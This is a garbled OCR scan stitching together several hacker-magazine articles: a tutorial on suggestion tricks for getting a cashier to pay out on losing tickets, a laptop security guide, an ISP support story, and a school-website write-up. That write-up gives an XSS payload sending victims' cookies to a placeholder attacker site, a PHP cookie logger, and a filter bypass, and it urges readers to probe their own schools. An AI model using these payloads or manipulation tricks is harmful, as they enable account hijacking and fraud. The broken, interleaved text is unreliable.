y o u  l eave with  n oth i ng. I don 't w i s h  t h i s  to tec h n i q ues .  I t  was n ot u nt i l I saw Derren 
become a h a ra n gue, but  t h i s  does cheese me B rown 's Mind Control spec i a l s  that  I was 
off somewhat.  g iven a boost as  to what  cou l d  be done. 

H owever, i ts more p u re a spects, tech - Beware, t h o u g h ,  f o r  i n  h i s  s h ows there i s  a l o t  
n i q ues, a n d  theor ies a r e  q u i te appea l i ng to of tr i ckery a n d  very c l ever decept i o n s  (I c a n  
o u r  furt ive ways.  I u sed t o  de l i ght i n  h av i n g  s a y  th i s  bei ng  a magi c i a n  myse l f, spec i a l ­
my w i c ked way w i t h  computers - gett i n g  i z i ng i n  Menta l Mag ic ) .  I a m  deep l y  s kep­
them to log me i n ,  rootk i ts, Troj a n s, and the t ica l about N L P  - I d o n 't trust the l i teratu re 
l i ke - I was you n g  a n d  stu p i d .  Then o n e  day arou n d  it a n y  more than  I cou l d  th row it, a n d  
I d i d  someth i n g  - I got onto a n d  off a tra i n .  even that's too far - when study i n g  t h i s  sort 
I h a d  bought a t i cket, but  the o n e  that  the of t h i ng, the a rt i s  to weed out  the crap from 
tra i n  m a n ager had sta m ped was n ot va l i d  for the good stuff. Sepa rate the wheat from the 
that  day n o r  exact  route .  I t  was stra nge - I chaff, so to spea k .  O n ce you learn how to do 
h a d  been u s i n g  a n  i nva l i d  t i cket, b u t  was so that, then you a re fu l fi l l i n g  a proper ly  s kep­
s u re, conf ident, and conv i n ced that  i t  was a t ica l a n d  hea l thy m i ndset. 
va l i d  one that no one had seen fit to q u esti o n  Ta ke t h i s  exa m p l e :  don ' t  th i n k  of a b l a c k  
me.  I t r ied t h i s  a ga i n  but  w i t h o u t  b u y i n g  a cat !  Oops, you j u st d i d .  The reason that you 
va l i d  t i c ket. Suffice to say, my nerves gave me d i d  i s n ' t  due to a ny " n egative psycho l ogy" 
away a n d  I went and had to buy a fu l l  t icket b u l l s h i t  that  some peo p l e  wou l d  have you 
(my fe igned i n n ocence, h owever, h a d  saved be l i eve. I t  is because you r  subco n s c i o u s  
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m i nd, s k i pp i ng the negative "don ' t" i n  the 
sentence h a s  j ust heard the com m a n d  "th i n k 
of a b l a c k  cat," a n d  so it w i l l  i m med i ate l y  ca l l  
u p  the i mage of a b l ack  cat, witch a n d  a l l ,  
from you r  memory for you t o  u se .  H owever, 
i n  d o i n g  so you h ave u n w i l l i ng l y  d i sobeyed 
the com m a n d .  Th i s  is one tech n i q u e  u sed i n  
advert i s i ng, for example .  

My favor i te exam p l e  of  these sorts of 
t h i ngs is a p a rt i c u l a r  i tem that Derren B rown 
d i d  - the Wa l thamstow dog track  p i ece.  The 
i dea was s i m p l e  - get a cash i e r  at  a dog 
rac i n g  track to pay out on losing dogs. I f  you 
h aven 't seen it, go to http : / /www . youtube . 

"com/wa t c h ? v � I I  - QcW4Q4 I .  N ow I ' m  not 
ru l i ng out  the poss i b i l i ty that it was a stooge 
(a confederate in the pay out w i n dow) but  
l et's say that  th is  was not the case.  That  mea n s  
that some rather i nterest i n g  psycho logy i s  a t  
p l ay here. 

The genera l tec h n i q u e  i s  based a rou nd 
someth i n g  termed as  a " Pattern I nterrupt." 
Much l i ke the i nterru pts in a CPU, these 
occu r  when someth i n g  i nterru pts our pattern,  
or  f low, of thought.  Th i s  tr iggers someth i ng 
referred to as a "Trans- Derivat ion a l  Sea rch "  -
a TDS.  Th i s  is where o u r  i n terru pted s u bcon­
sc ious m i nd panics a n d  sta rts to look for 
someth i n g  to concentrate on,  e l i c i t i ng  a state 
of confu s i o n  that renders a person deep l y  
suggest i b l e .  

I magi ne t h i s  - h ave y o u  ever gone t o  s h a ke 
someone's h a n d ,  o n l y  to fi nd  that  j u st as you r  
hands  a re about t o  meet, they p u t  t h e i r  h a n d  
u p  t o  the i r  nose, w i gg l e  t h e i r  fi ngers, a n d  
m a ke " nyaa n y a  n y a  n y a a  nyaaa" sou n d s ?  
I f  y o u  h ave, or  seen i t  done, t h e n  y o u  h ave 
seen a pattern i nterrupt - the norm a l  pattern 
of behavior has been i nterru pted a n d  has l eft 
the s u bject/v i ct i m i n  a state of loss,  a n d  the i r  
m i nd i s  l oo k i n g  for som eth i ng t o  l atch onto 
so that  it c a n  conti  n u e  its thought patterns .  
I t  i s  at  th is  stage, the TDS stage, that  we can 
i m p l a nt l ots of l ove l y  suggest ions  to i l l i c i t  the 
behavior that  i s  des i red.  

I n  the case of the Wa l thamstow dogs, 
Derren B rown wa l ks up to the wi ndow and 
says, "Th i s  i s  the w i n n i ng t icket." The cash ier  
goes t h rough the norm a l  mot ions  of  va l i ­
dat ing t h e  t icket, b u t  s h e  goes back a n d  says 
"Sorry, t h i s  is not a w i n n i ng t icket," at  w h i c h  
po i nt B rown b a n g s  h i s  h a n d  on the w i n dow 
frame a n d  says "Th i s  is the dog you 're look ing 
for. Try aga i n, you may h ave m i sread it ." 

In th i s  exa m p l e  you a re i nterru pti ng the 
cash ier's pattern,  and tel l i ng her  wh i l st s h e  i s  
i n  t h a t  suggesti b l e  TDS state t h a t  "th i s  i s  the 
dog you 're look i ng for" - that i s, the cash iers 
a re l ook i n g  for the w i n n i ng dog n u m ber on 
the t i cket, and wh i l st they a re in a state of 
TDS, you j ust te l l  them that t h i s  is the dog 

that they are desperate l y  l oo k i n g  for. You a re 
a l so g i v i n g  her  a rat iona l  reason as to why 
s h e  d i d n't  j ust pay out on i t  ("Try aga i n ,  you 
may h ave m i sread i t" ) .  

Another p h rase that  B rown u ses in  the 
secon d  p a rt of th i s  effect i s  th is :  "Th i s  i s  
the  dog you 're l oo k i n g  for  - that's why we 
came to t h i s  w i n dow." Th i s  p l a nts the same 
suggest ion  for the cash ier  a s  a bove - that  
the w i n n i ng dog that they look for  on the 
t icket i s  there - but h a s  a secon d  s u gges­
t ion that re l ies  on verb a l  e m p h a s i s .  Reread 
the secon d  sentence.  Got i t ?  The suggest ion  
shou l d  be p u n ctuated l i ke t h i s  i n  you r  voice :  
"That's why we came to th i s  window." See 
i t ?  "We c a m e  to w i n "  is the suggest ion  a n d  
i t  j u st e m p h a s i zes t o  the c a s h i e r  t h a t  y o u  a r e  
a w i n ner  a n d  a s  such  a r e  t o  be pa i d  (after a l l , 
that's what  the cash i er does ! ) .  

The o n e  t h i n g  t o  emphas ize  about sugges­
t ion is that scr ipt ing is very i m porta nt, a n d  
a l so gett i n g  these f luent  i s  paramou nt. A l so, 
when d o i n g  a n yth i ng, you m u st, m u st, m u st 
j u st be l i eve that  it wi l l  work to g ive it its 
best c h a n ce of doing so. Th i s  i s  ta ntamount  
to  s ucceed i ng with  suggest ion .  I f  i t  doesn 't 
work, j ust d rop it  a n d  move o n .  Noth i n g  
done, noth i n g  d a maged . 

Ta ke these theories a n d  r u n  with  them.  I f  
t i m e  perm its there m a y  b e  fo l l ow u ps t o  th i s  
a rt i c l e  b u t  t h e  o n l y  l i m itat ion i s  your  own 
i maginat ion,  c reat iv ity, and resou rces - a n d  
so i t  i s  for the rest o f  the hacker commu­
n i ty. I h ave re l eased th i s  m i n i -tut i n  l i ght of 
a com p l ete absence of i nformat ion about 
th i s  sort of stuff, and a th i rst for knowl edge 
rega rd i ng t h i s .  Th i s  a rt i c l e  has covered very 
bas ic  suggest ion and pattern i nterrupts .  
Other i nterest i n g  a reas a re a n chors, hypnotic 
l a n guage, tra n ce state i n d uct ions and ma n i p­
u l at ion,  mode l s  a n d  i ntern a l  representat ions  
to n a m e  but  a few. 

As you can see, t h i s  is very i nterest i n g  to 
look at. There are many such  tec h n i q ues a n d  
exa m p l es o f  these t h i ngs a l l over t h e  I nternet, 
med i a ,  a n d  in books. I w i l l  not l i st many 
here, but  the few I recommend a re :  

Teach Yourself NLP by Steve Bavi ster and 
Amanda Vickers.  Th i s  i s  a very good s u m m a ry 
of N L P  core theory a n d  not a l ot of b u l l s h i t 
w i th i n  i ts pages. 

Tricks of the Mind by Derren B row n .  J u st 
rel eased, t h i s  is the fi rst book that  conso l i ­
dates t h e  th i ngs that he  i s  i nterested i n  
a n d  dabbles  i n .  A very good read a n d  very 
i nformative. 

H ave fu n .  Be good . Use respo n s i b l y. 
Remember - Derren had a TV c rew beh i n d  
h i m  t o  pay b a c k  t h e  dog track. 

You don't.  
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I t ' s  probably d sate assu mption that g ive, an dttacker access to a l l  you r  data . But 
everyone rea d i n g  this maga z i ne i s  a l re,ldy how many fi l es on you r  systern a re owned by 
para no id .  but how para no id  ,He you and  a re the sarne USl'r you use to run  F i refox, P idg in, 
you pJ rano id  ('nough (or for that matter, too and I Re? What  prevents ,1 compro m i se in any 
m u ch, which ca rr ips its own risks) ? of those ,1 pp l ications from giv i n g  ae(('ss to a l l  

A proper level of parJ n o i a  i s n ' t  about you r  f i les !  Enforc i ng per-app l i cat ion secu r i ty 
th i n k i ng that the potted p l a nt is p la n n i ng to is v i ta l  for preventi ng v u l nera b i l i t ies i n  one 
assa u l t you r  s l eep. I t ' s  about rna k i ng i ntel l i - app l i cat ion from comprorn i s i n g  J I I  o f  thern. 
gen t  cho ices t o  protect you rself, you r  pr ivacy, The eas iest method of l oc k i ng down app l i -
you r  fi na nces, you r  job, , md, depend ing  o n  cat ions  i s  b y  d i v i d i n g  up  t h e  users they run  
whl're you l ivl' (and what  you choose to  do), as. On ' n i x  systprns, th i s  is re l at ive ly s i m p l e  
you r  freedom . The cost o f  h il v i n g  you r  data and  can be done with "sudo" and  sorne she l l 
comprorni sed is u l ti mate ly  the driv i ng factor scr i pts to l a u nch eelch app l i cat ion ilS il sepil-
beh i n d  secur i tv dt'c i s ions .  None of  us  d rl' rilte user (and even el i l ow each app l i cat ion 
part i c u l a r l y  eX�' i t('d ,It thl' prospect of los i ng l i rn i ted access to other restri cted app l i ca-
our  pr ivacy, ba n k  deta i l s, or o u r  jobs beca use t ions, such as open i n g  a U R L)  or by chang ing  
of  a secu r ity bug.  I n  a t,ugeted elttack, the cost the owners h i p  of the app l i cat ions ,md  u s i n g  
o f  cornpro m i se rn a y  be even h i gher - sou rce thl' S U I D  b i t .  Segregat i ng a l l  you r  app l i  
code mod i fi(�d to i ntrod uce backdoors o r  cat ions  i nto diffprent usprs with rpstr i cted 
secu r ity v u l nerab i l i t ies pr ior  to d i str ibut ion,  perm iss ions  i s n ' t  the on ly a nswer, but i t ' s  a 
records a l tered, or employer data cornpro- strong fi rst step. 
m i sed . . . ilnd these a re j ust the r i sks to you r  "Strong passwords a re sufficient . " S i m p l y  
workstat i o n .  put, no, they ' re not. Espec i a l l y  not on a 

Secu rity in the rea l wor ld  is the ba l a nce laptop.  With a l aptop, you face two u n ique 
between parano ia  and  pract ica l i ty. The most r i sks :  theft (e ither ra ndom or t<l rgeted) and 
secu re systpm i s  one tu rned off, encased in  easy phys ica l  access. The r i sks  frorn both a re 
cement, and at the bottom of a quar ry. Despi te s i rn i l a r. No rnatter how strong you r  l og i n  pass-
the seern i ng ly  u n iversa l acknow l edgment of words a re, if someone can boot the system 
the i m porta nce of sec u r i n g  systems, a l a rge with  externa l  med i a  or remove the d r ive and  
a mount  of  i ncorrect or outdated i nformat ion mount i t  on another systern, a l l  you r  secu-
sti l l  ex i sts. The g u i de l i nes presented here r i ty rneasures a re moot. Access r ights and  
a re by  no rneans  a canon ica l  a n swer to  the  fi l e  protect ion  re ly  on the operat i n g  systern 
prob lern of sec u r i n g  you rse l f, but hopefu l l y to enforce them, and wben you no longer 
th i n k i ng about s i de attacks to conventiona l  contro l the operat i ng systern read i ng the  
w isdom he lps in  dev i s i n g  proper p l a ns .  Most d i sk, you r  data is toast. Aga i n, fortu nate ly, the 
of the proposed so l ut ions  focu s  on L i n ux, so lut ion is fa i r l y  s i mp le :  Strong  c rypto, e ither 
sole ly t h rough farn i l i a r i ty, but  the i deas w i l l  a t  the fi l esystem o r  d i s k  l eve l .  There a re a 
he lp  protect you on whatever system you ' re wide ra nge of too l s  to i rn p lement d i s k  c rypto 
ru n n i ng. Feed you r  parano ia  and  keep on var ious  p latforrns.  The L UKS systern uses 
read i ng.  changeab le  keys for fu l l  dev i ce c ryptography 

" Ne ver run norm a l  applica tions as root and is nat ive to L i n u x  but has Windows 
(or adminis tra tor) . "  Obvious ly  t h i s  is a good too l s  to operate on it. F u l l-d i s k  encrypt ion 
idea wh ich  hopefu l l y most  readers adhere typ i ca l ly operates at the operat i n g  system's 
to, but the s i rn p lest i m p l ernentat ion  of th i s  dev ice l ayer, e rn u l at i ng  a b l ock dev ice ( i .e . ,  a 
g u i de l i ne is to ru n a l l  you r  app l icat ions as d r ive) . A l l  10 to the d r ive i s  encrypted at the 
you r  norma l user, which for protect i n g  you r  b l ock leve l ,  i nc l ud i n g  t h e  fi l esystern itse l f. 
data i s  j ust as bad.  A root- l eve l compro rn i se F u l l  dev i ce c rypto has the adva ntage of auto-
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matica l l y  encrypt i ng a l l  data p l a ced o n  that 
vo l u me - i nc l u d i ng cache fi l es, tem p fi l es, 
and others w h i c h  m i ght n ot be i n c l u ded i n  
se l ect ive encrypt i o n .  I t  a l so has  the adva n tage 
that any "ghosts" l eh on the dr ive (part i a l l y  
del eted fi l es a n d  i ncomplete l y  erased data, 
or  a d r ive wh i c h  has n ot been reformatted 
with a l ternat i n g  patterns  des igned to w i pe 
out  a n y  magnet i c  rem n a nts of data) a re a l so 
encrypted . On modern systems, the i m pact 
of perfo rm i n g  encrypt i o n  o n  every b lock is 
m i n i ma l ,  and a s  the CPU i nc reases in speed 
the performa n ce hit w i l l  cont i n u e  to drop. 

"Strong crypto is sufficient. " But d i d n ' t  I 
j u st say strong c rypto was a good so l ut i o n  for 
l a ptops? We l l ,  yes, but that ' s  n ot the ent i re 
story. Edgi ng further from m a i n stream r i s ks 
a re the attacks aga i nst  the h a rdware i tself .  
Externa l ly fac i n g  b u ses - I E E E 1 3 84, U S B, a n d  
Card b u s/ExpressS l ot - a l l ow devi ces t o  i n teract 
with the system, often be l ow the contro l  of 
the operat i ng  syste m .  G a i n i ng access to the 
memory of a ru n n i ng system enables rea d i ng 
of cached fi l es, cached crypto keys, o r  mod i ­
fy i n g  the system t o  a l l ow access t o  a n  act ive 
encrypted fi l esyste m .  These attacks a re n ot so 
fa r-fetched - system debugg i n g  and i mag ing  
hardware to e x p l o i t  wea k nesses l i ke these 
ex i sts today, and at least one company i s  
advert i s i n g  t h e  ava i l a b i l i ty o f  a U S B  dev ice 
which extracts a l l  the i nfo from a system.  
U nfortu nate l y, when i t  comes to h a rdware­
l evel v u l nera b i l i t ies, there is o n l y  one good 
so l ut i o n :  G o  to the h a rdware store, buy some 
epoxy, and fi l l  in  the extern a l  ports .  Th i s  p rob­
ably i s n ' t  a n  accepta b l e  so l ut i o n  for most 
peop le  - and wou l d n ' t  stop someo n e  with the 
resou rces and t ime to open a ru n n i ng system 
and connect to the i nterna l  l eads for the b u s .  
I f  you ' re fac i n g  attackers wi th  that  m u c h  

determ i n at ion ,  chances a re y o u  shou l d n ' t  b e  
trust i n g  you r  data to a l a ptop .  

" /  only need to  encrypt the [messages I 
files I drives] which are sensitive. " A n other 
p i ece of convent i o n a l  w i sdom w h i ch,  
wh i l e t rue,  may n ot te l l the who le  story. As 
ment ioned above when d i scuss i ng fu l l  d i s k  
encrypt i o n  vers u s  per-fi l e  e n crypt i o n ,  there 
may be fi les  generated for tempora ry storage, 
cach i ng, copies l eft wh i l e mov i n g  fi l es, etc. 
These fi l es can ea s i l y  be m i ssed when d o i n g  
per-fi l e  encrypti o n .  E n c rypt i n g  o n l y  sen s i ­
t ive comm u n i cat ions  a n d  fi l es carr ies  the 
add i t i o n a l  r i sk of m a k i n g  i t  eas ier  to target 
" i n terest i ng" data : I f  I k n ow someone o n l y  
encrypts ema i l s  i n  w h i c h  they ta l k  about  
sen s i t ive i nformati on ,  I k n ow that i f  I have 
an encrypted ema i l  from them i t ' s  prob­
a b l y  worth try i ng to decrypt. Form a h a b i t  
o f  encrypt i ng  everyt h i ng, at  a l l  t i mes, except 
when you r  rec i p i ent  ca n ' t  decrypt i t  for some 
reason .  G PG i ntegrat i o n  with ema i l  c l ients 
i s  t r iv i a l  to configu re, as  a re dyna m i c  SSH 
t u n n e l s  (ssh u ser@ host - 0  9999) w h i c h  fu nc­
t ion  as  SOCKS prox ies .  OTR (Off The Record) 
prov i des per-message encrypt i o n  on most 1 M  
systems.  I nc reas i ng  t h e  e n c rypt i o n  o f  you r  
com m u n icat ions  i n creases you r  pr ivacy a n d  
i ncreases t h e  d i ffi c u l ty o f  spott i n g  i m po rta nt 
com m u n i cat ions  among the chaff. 

I n crea s i n g  you r  secu r i ty is a h o l i st ic  
c h o i ce, modify i ng both  softwa re a n d  h u m a n  
behavi or. A n  u n known percentage o f  expo­
s u res m ight be avo i ded with  l i t t le  more 
than  a ca refu l eye towa rds sec u r i ty, a n d  a n  
i nc reased leve l  o f  pa ra n o i a .  L i ke backu ps, 
the proper t ime for m a k i n g  dec i s i o n s  about 
secu r i ty i s  before a compro m i se.  A ba l a nce 
between sec u r i ty, usab i l ity, and p a ra n o i a  is  
poss i b l e  with  fores i ght a n d  p l a n n i n g .  

HOPE NUMBERSIX 
I f  you m i ssed o u t  o n  o u r  l atest c o n ference (o r if y o u  we re t h e re a n d  some­

how m a n a g ed to m i ss o n e  of t h e  m o re than 70 ta l ks g i ven),  m a y  we s u g gest 

gett i n g  a h o l d  of o u r  H O P E  N u m be r  S i x  DVDs ? 

There's n o  way we ca n l i st t h e m  a l l  h e re b u t  if y o u  go to 

h tt p : //st o re .26oo . com/h o pe n u m be r s i x . h t m l y o u ' l i get a s e n s e of w h a t we're 

ta l k i n g a bo u t .  

We st i l l  have l eftove r s h i rts  t o o .  F o r  � 2 0  you g et a 

H O P E  s h i rt, a c o n ference b a d g e, a c o n ference p rog ra m ,  

a n d  a H O P E  st i c ke r .  Oversea s a d d  � 5  fo r s h i p p i n g .  
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N1 I S P  S T O RY 

by Witch l ight 
I thought I 'd share with you a l l  a l i tt le  

story a bout  a scr i pt k idd ie, a rea l n i ce v ict i m  
o f  sa i d  k idd ie, and  an  I S P. 

I work tech support for a l a rge I S P  i n  a 
state that  wi l l  rem a i n  nameless .  (You shou l d  
b e  a b l e  t o  f igu re i t  o u t . )  One n ight I got a 
ca l l  from a rather n i ce customer request i n g  a 
password reset. H i s  name was Mr. O ' Re i l l y. 
As I p u l l ed up h i s  accou nt to do th i s  for h i m  
he to l d  me how he h a d  been "hacked . "  Now 
you h ave to know that we took th i s  with a 
gra i n  of sa l t  at tech support. I n  the fou r  years 
I ' ve been do ing  tech su pport I can honest ly  
say  that  I ' ve o n l y  ta l ked to  maybe th ree 
peop l e  who h ave actua l l y been abused by a 
" ha c ker. " 

Once I got h i s  account up,  however, I 
i m m ed i ate l y  be l i eved h i m .  See, Mr. O ' Re i l ly's 
acco u nt  came up now as regi stered to one 
"Ass bag O ' Rei l l y. "  

S o m e  scr ipt k i d d i e  h a d  gotten access to 
h i s  account  a n d  reset a l l  the person a l  i nfor­
mati o n  for the account  as we l l  as other th i ngs.  
So n ow whenever the customer sent a n  ema i l  
i t  wou l d  say i t  was from Assbag O ' Rei l l y. I 
wen t  over with h i m  on how to change it back 
and adv i sed h i m  to change the secret ques­
tion for h i s  account  as wel l s i nce i t  was l i ke l y  
t h e  k i d d i e  had changed th i s  too and  wou l d  
b e  a b l e  t o  reset t h e  password a n d  we'd be 
r ight back where we started in a day. 

N ow here's where we ran i nto a dead 
end. We knew that he had been v i ct i m i zed.  
What could I do as a representative of a 
major I S P ?  Not a th i ng .  Noth i ng. There was 
no secur i ty tea m that I cou l d  esca l ate the 
customer to. There was no phone n u m ber for 
a ny such  depa rtment l i sted i n  the n u m bers 
of a pproved contacts that I cou l d  ca l l  or  
refer the customer to. The only t h i n g  I cou l d  
do w a s  get the customer t o  ema i l  abuse@ 
hotm a i l .com and  hope for the best. 

H ow cou l d  th i s  be? We l l ,  as we a re 
outs o u rced su pport we are given very few 
too l s  a n d  abso l ute l y  no access to depa rt­
men ts that  cou l d  do a nyth i n g  about t h i s .  We 
fo l low the ca l l  center mantra of the a l m ighty 
ta l k  t i m e  and a l l  i ssues have to be reso lved 
in a n average of 1 5  m i n utes or there's the 
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door. It ma kes for a support c u  say i ng 
a nyth i n g  - even if  i t's tota l crap - j u st to get r id 
of the customer so you can get you r  metncs 
met to get you r bon us  for be i ng the best 
pu nter a ro u n d .  . . .  

Agents a re not h i red for the i r  tech ab i l i ty. 
They re l y  on the customer bei ng even more 
ignorant i n  order to make them a "tec h . "  
About two o f  every ten peop le  i n  t h e  center 
a re tech n i c a l l y  i n c l i ned and we pick up  the 
pu nts and f ix what the fi rst person shou l d  
have been ab le  t o  d o .  R a n t  over. 

H av i ng done what the c l ient  wanted and  
recommend i n g  a few t h i ngs to  Assbag to  try 
and he lp  h i m, I ended the ca l l .  Two days l ater 
he ca l led back aga i n  with the password issue.  
The k iddie had used the flavor of the month 
MSN exp lo i t  aga i n , re-cracked his account, 
and  made h i mself  a sub  accou nt.  A fr iend of 
m i ne had the ca l l  t h i s  t ime and ta l ked to me 
about it s i nce he saw my name from the l ast 
t icket. 

No response to Mr O ' Re i l l y from the 
abuse department and noth i ng done. What 
was d ifferent t h i s  t ime was the k idd ie  had 
gotten some ba l l s  and was u s i n g  Assbag's 
MSN account  to i nsta nt message h i m .  We 
were watc h i n g  t h i s  happen v ia  o u r  r�mote 
ass i sta nce too l .  Now we had someth i ng to 
track the k idd ie !  One of o u r  too l s  for those 
who know where to look wou l d  show us the 
IP of the l ast s uccessfu l logi n and we fou n d  it 
was not from our I S P. One lookup l ater and 
we traced i t  to  a n  SBC user. 

Choos i ng to ignore the 1 5  m i n ute ru le  
beca use Mr. O ' Rei l ly was  a n i ce guy (th i s  
goes a long way) w e  dec ided t o  ca l l  S B C  o n  
h i s  beha l f  and  track the k idd ie  a t  t h e  sou rce of 
h i s  con nect ion .  We got a representative from 
SBC a nd exp l a i ned that one of the i r  users 
was " hack i ng" our customer as we spoke and  
that  we had proof. Here we learned that  SBC 
operates exact ly  l i ke our  I S P  and  d i d n ' t  h ave 
any way of do ing  a nyth i ng about it. So ,:"e 
got a su perv i sor i n stead .  You .wou l d  th i n k  
a superv i sor cou ld  d o  someth i ng . . . .  Nope. 
The i r  job i s  not tech .  They a re there to make 
s u re there a re butts i n  c h a i rs ta k i n g  ca l l s 
a n d  m a k i n g  money for whatever outsou rced 
company is h i red by the I S P. They sa id  that 
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there ' s  noth i n g  they can do and  don ' t  even 
have an ema i l  address for the abuse/secur i ty 
tea m .  We pressed the poi nt and  they actua l l y 
to l d  us that what the i r  user was do ing  was 
perfect l y  acceptab le  use of the i r  serv ice !  

I 'd  love to  know what  the S B C  lega l tea m 
wou l d  have sa id  about that one.  But  it ma kes 
my poi nt and  shows you the rea l i ty of what 
the average v ict i m  of scr ipt k idd ie  mayhem 
has to go through .  We did a l l  we cou l d  but 
u nt i l th i s  k iddie grows u p  and l eaves h i m  
a lone, Assbag i s  stuck ( u n less he ta kes lega l 

by Azohko 
My school recent ly red id  i ts webs i te with 

a new and s h i ny user i nterface created by a 
company ca l led Wh ipp le  H i l l  (www . wh i pp l e ­

h i l l . com) . Th i s  new webs i te enab les you 
to check you r  sched u l e  o n l i ne and create 
groups wh ich  cou l d  a l so create the i r  own 
forums .  After m i n utes of pok i n g  a rou nd, I 
fou n d  these group forums were v u l nerab le  
to  a n  XSS exp lo i t .  By red i rect i ng  the user  to 
my webs i te with a cook ie  stea ler  on it, you 
wou ld  be ab le  to rep l ace you r cookies with 
thei rs and  become logged i n  as them. Th i s  
code wou l d  red i rect the user  to  my webs i te 
by load i n g  an i mage. 

< img s r c ;;o " l i nkToAn lmage li onLoad=' j ava s c r ipt 

-:document . locat i on= " www . ChangeToYour S i t e . 

"com/logg e r . php ? 1I + document . cook i e ' >  

The above code then passes the cook ie  
i nformat ion on to th i s  scr ipt, wh ich  logs the 
data i nto "" .  

< ?php 
funct ion logData ( )  

{ 
$ ipLog= 11 log . txt I I  ; 
$cookie = $ SERVER [ ' QUERY STRING ' ] ;  
$ r e f e re r  = $_SERVER [ ' HTTP=REFERER' J ;  

$date=date ( " 1 dS o f  F Y h:i:s A " ) ;  
$log= f open ( "  $ ipLog " , " a+ " )  ; 

fput s ( $log , n COOK I E  STOLEN ! REF: $ r e f e r e r  

- I  DATE , $ d a t e  I COOK I E , $cookie \ n " ) ; 

f close ( $log ) ; 

} 
l ogData ( )  ; 

? >  

action ) .  We d i d  more than we were su pposed 
to and got nowhere because outsou rced 
su pport and the I S Ps who use them j u st don ' t  
g ive a crap.  

I wou l d n ' t  say i t's open season or  that you 
won 't get you r  serv ice p u l l ed for hack ing  
or worse. B u t  the system i s  actua l l y  stacked 
s l ight ly  aga i nst the average user and in favor 
of the scr ipt k idd ie .  

The  ta l l y :  K idd ie  1 ,  Assbag 0 ,  I S P  . . .  r i c h .  
Shouts t o  Gilda, I-Iarryhalz, ZX, a n d  

jedi262. 

seem to th i n k  i t  was a pr ior i ty to f ix  i t .  Th i s  
was a major v u l nera b i l ity a mong m a ny of 
the i r  websites and  they never seemed to be 
in a h u rry to f ix  i t .  F i na l l y  I got a message 
back respond i ng to the exp lo i t  say i ng i t  was 
fi xed . Wrong. The i r  amaz ing  f ix was to fi lter 
out the word ""  so the user cou l d n ' t  stea l 
cook ies .  It took about two seconds to come 
u p  with new code to exp lo i t  t h i s :  

< img s r c = lI linkToAn l mage ll 
onLoad=;;- ' j ava s c r ipt : document . l ocat i on= " www . 
ChangeToYourS i t e . com/ l ogge r . php ? "  + 
docudocument . cooki ement . c ook i e' > 

The d i fference here is that when "" i s  
fi l tered out i t  sti l l  forms " n .  Th i s  p rob lem 
cou l d  eas i l y  have been f ixed by us ing a nother 
method of check i ng for XSS in PH P. I n stead 
of searc h i n g  for and remov i n g  ""  they shou ld  
have fou n d  every i n stance of ""  and  rep laced 
that with " scr i pt" with a space. No harm 
cou l d  be done here, and th i s  way peo p l e  
cou l d n ' t  have harm less but  a n noy i n g  scr ipts 
ru n n i ng on the forums .  Th i s  cou l d  be done 
easi l y  with the fo l l owi ng P H P :  

< ? php 
$ s earchFor = " "  
$ replaceWith = " s c r i p t "  
$ t ext = s t r_rep l a c e ( $ searchFor , $ replace 

-With , $ t ext ) ; 
? >  

Th i s  new webs i te m y  school bought cost 
them a l ot a n d  i t  amazes me that it wou l d  
b e  v u l nera b l e  t o  someth i ng s o  s i mp le .  Not 
o n l y  was the or ig i n a l  exp lo i t  s i m p l e, but  they 
fa i l ed to fix i t  s uccessfu l l y. Th i s  is sad cons id­
er i ng  they a re s upposed to be profess iona l s .  

Wh i l e  s imp le  at f i rst (they d i d n ' t  f i l ter any Check you r  own schoo l 's webs i tes for  s i m p l e  
HTM L  at a l l ) ,  w h e n  I ca l l ed t h e m  they d i d n ' t  exp lo i ts .  You m ight get l u cky l i ke me. 
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Haunting 

the M 
by Passdown 

M i crosoft s u re does make l i fe easy for the 
end user but for those of us  who a re ca l l ed 
to f ix a down M$ system, l i fe can  be try i ng 
at t i mes.  Let ' s  face it, if you were one of the 
r i chest compa n ies in the wor ld ,  you wou l d n ' t  
want t o  share you r  propr ietary g i m m i cks 
e i ther. So, th i s  l eaves the tech n i c i a n  h o l d i n g  
a woefu l ly empty b a g  o f  too l s .  Ever have a 
l a ptop ru n n i ng an NTFS i nsta l l ed vers ion  
of  X P  Home? No, I know you wou l d n ' t, but  
you r  c l ient  probab ly  does. And of  co.u rse . . .  
h e ' s  messed i t  up .  There a re a mynad of 
poss i b l e  problems, but l et ' s  a ss u m,: that a l l  
you need to d o  i s  have a n i ce G U I  I nterface 
to copy off or change som.e fi l es .  At t�e t ime I 
sta rted wr i t i ng  t h i s  Knopp l x  NTFS wr i te capa­
b i l ity was sti l l  p re-A lpha .  Now i t ' s  out, .but do 
you trust it? Me ne i ther. I h ate work i n g  on 
l a ptops a n d  I certa i n ly

. 
d�Jn ' t  want to pu l l . the 

hard dr ive out to put  I t  In a n other m�ch l ne. 
A l l  I need to do i s  move the SAM fdes, or 
ed i t  an I N I , or whatever. Let ' s  say that I ' m  
even locked out of the adm i n i strator account  
when boot i n g  from the X P  Home CD.  ( Let ' s  
assume that someone actu a l l y  set a pass­
word . )  I know there a re sti l l  ways a round that 
but, hey, we l i ke G U I .  

Enter Norton G host 9 .  I was ab le  to p ick  
u p  a leg i t  OEM copy from a n  o n l i n e  vendor 
for about $1 7 . Good dea I .  G h ost i mages a re 
q u i te n i ce for p i c k i ng up the p i eces . after 
doomsday. I h igh ly  recommend It. The I nter­
esti ng th i  ng is there a re other featu res that they 
proba b l y  hope you don ' t  not ice.  The eas iest 
way to work with a Wi ndows system . . .  IS to 
use a W i n dows system.  The G h ost r�covery 
CD boots i nto a stri pped down l i ve CD 
r igged vers ion  of XP Pro. I t  seems Symant�c 
b u i l t  the i r own she l l .  I am u n certa i n  If It I S  
based on Exp l orer but, i f  i t  i s, s o m e  fu nct ions 
a re st i l l  ava i l ab le .  My favor i te way to garner 
system access i s  the often over looked H E L P  

men u .  There ' s  not much in the G h ost she l l  
menu,  b u t  i f  you c l i ck  HELP, y o u  w i l l  fi nd 
sta ndard menu opt ions, such as O P E N .  From 
hpre use the * . *  opt ion in the f i lename f ie ld 

a n d  h it enter to ga i n  a comp lete l i st of fi !es, 
dr ives, etc . For an even b i gger l a ugh,  J ust 
h i t  F1 at the m a i n  scree n .  The OPEN i nterface 
seems to be a standard Exp lorer i n terface, 
however beca use of system l i m i tat ions ,  a l l  f i l e  
i nteract ions  m u st take  p l ace i n  t h i s  w i ndow. 
For eas ier  use, browse over to the CD-ROM 
and u p  to the i 3 8 6/system3 2 fo lder. Here you 
shou l d  fi nd  TAS KMG R . E X E .  Task Manager 
